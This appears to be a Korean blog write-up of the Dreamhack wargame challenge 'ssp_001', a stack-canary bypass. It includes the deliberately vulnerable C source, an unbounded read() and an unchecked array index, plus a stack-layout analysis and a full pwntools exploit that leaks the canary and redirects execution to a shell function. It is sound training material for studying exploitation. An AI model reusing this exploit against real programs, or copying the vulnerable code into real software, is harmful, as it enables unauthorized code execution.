1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
code description
initialize(), alarm_handler() : stdin, stdout을 초기화, 30초 후 "TIME OUT" 출력하면서 프로그램 종료
get_shell(): shell을 실행하는 함수
print_box(): 두번째 인자인 idx값 출력, 첫번째 인자의 box의 idx번째에 있는 값을 16진수로 2자리 수로 출력
main():
선언 변수: box, name, select, idx, name_len
1. select가 F를 입력 받을 때: box의 sizeof, 즉 0x40 만큼 box에 입력함.
2. select가 P를 입력 받을 때: box[idx]의 값을 확인한다.
3. select가 E를 입력 받을 때: name_len를 입력하고, name에 name_len만큼 입력 한다.
2.2 file
파일: ELF 32-bit 파일
호출 규약: SYSV
linking 방식: Dynamically linked
2.3 checksec
Canary found: Canary가 있다.
NX enabled: stack, heap 영역에서 실행권한이 없음.
3. Design
F를 입력 했을 때는 box에 size 제한, 즉 0x40만큼 밖에 입력을 못한다.(여기는 취약점이 없다)
P를 입력 했을 때는 box 배열의 값을 확인할 수 있다.
E를 입력 했을 때는 name의 size를 마음대로 정할 수 있고, name에 그 size만큼 입력 받을 수 있으므로,
E를 입력해서, box의 영역까지 overwrite 한 후, P를 통해 Canary 값을 도출해 내자.
그 후 return address를 get_shell()함수의 주소로 바꾸어 주면, exploit이 성공할 것이다.
4. Exploit
4.1 get_shell() 주소
4.2 선언된 변수들 확인
4.2.1 main의 변수 선언 부분
main + 0 ~ main + 25
이 부분은 함수 프롤로그 및, Canary 값을 넣는 부분이다.
Canary 값은 (ebp-0x8)부분에 들어가 있다.
main + 30 ~ main + 65
main + 48, main + 64의 rep stos 명령어는 배열을 선언 할 때 쓰이는 명령어이다.
[ebp-48], [ebp-0x88] 이 두 부분에 각각 0x40만큼 공간이 있는데 이 부분에 box와 name의 공간이 있다.
아직 순서는 파악하기 힘들다.
main + 67 ~ main + 86
[ebp - 0x8a]에는 WORD가 쓰였으므로 2bytes, 즉 select 배열 변수의 공간임을 확인
[ebp-0x94], [ebp-0x90]에는 DWORD이므로 4bytes, int 변수인 idx와 name_len의 공간임을 알 수 있다.
이것도 순서 파악이 힘들다.
4.2.2 main의 while 부분
0x46, F일 때:
printf("box input : ");
read(0, box, sizeof(box));
break;
main + 168
read 함수 호출 전에 box의 size는 0x40이므로 스택에 push 해준다.
main + 170
box를 넘겨 줘야하는데, [ebp-0x88]를 넘길 준비를 한다. 이 부분이 box임을 알 수 있다.
0x50, P일 때:
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
main + 205
scanf를 호출 할때, idx를 넘겨준다. 이 부분에 [ebp-0x94]이 idx의 공간임을 알 수 있다.
이제 정리를 해보면
stack |
---|
idx[ebp-0x94] |
name_len[ebp-0x90] |
select[ebp-0x8a] |
box[ebp-0x88] |
name[ebp-0x48] |
canary[ebp-0x8] |
??? [ebp-0x4] |
SFP |
RET |
선언된 변수들이 stack에 어떻게 쌓였는지 파악할 수 있다.
0x45, E일 때,
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
위에 선언된 변수들을 다 파악했기에 생략.
4.3 vulnerability analysis & exploit design
stack |
---|
idx[ebp-0x94] |
name_len[ebp-0x90] |
select[ebp-0x8a] |
box[ebp-0x88] |
name[ebp-0x48] |
canary[ebp-0x8] |
??? [ebp-0x4] |
SFP |
RET |
box와 canary 값 사이의 공간이 0x80이다.
위의 공간 차이와 P 입력을 통해, canary 값을 도출 하고,
E 입력 후, dummy 값으로 name을 채우고, 구한 canary를 입력 하고,
[ebp-4]에는 무슨 값인지 모르겠지만, 4bytes의 dummy값으로 채운다.
그 후 SFP도 마찬가지로 dummy 값으로 채우고, RET을 get_shell()의 주소로 Overwrite하면 exploit 성공이다.
4.4 exploit code
from pwn import *
p = process('./ssp_001')
get_shell = 0x080486b9
canary = b''
for i in range(3, -1, -1):
p.sendafter('> ', 'P')
p.sendlineafter(' : ', str(0x80 + i))
p.recvuntil(' : ')
canary += p.recv(2)
canary = int(canary, 16)
payload = b''
payload += b'\x90' * 0x40
payload += p32(canary)
payload += b'\x90' * 8
payload += p32(get_shell)
p.sendafter('> ', 'E')
p.sendlineafter(' : ', str(len(payload)))
p.sendafter(' : ', payload)
p.interactive()
4.5 exploit result
성공적으로 서버의 shell을 획득했다.
마치며
이렇게 Canary 값을 알아내서 exploit을 하는 문제를 풀어보았다.
다음 시간에도 비슷한 문제를 풀어보자.
Reference
https://dreamhack.io/wargame/challenges/33/ (문제 출처)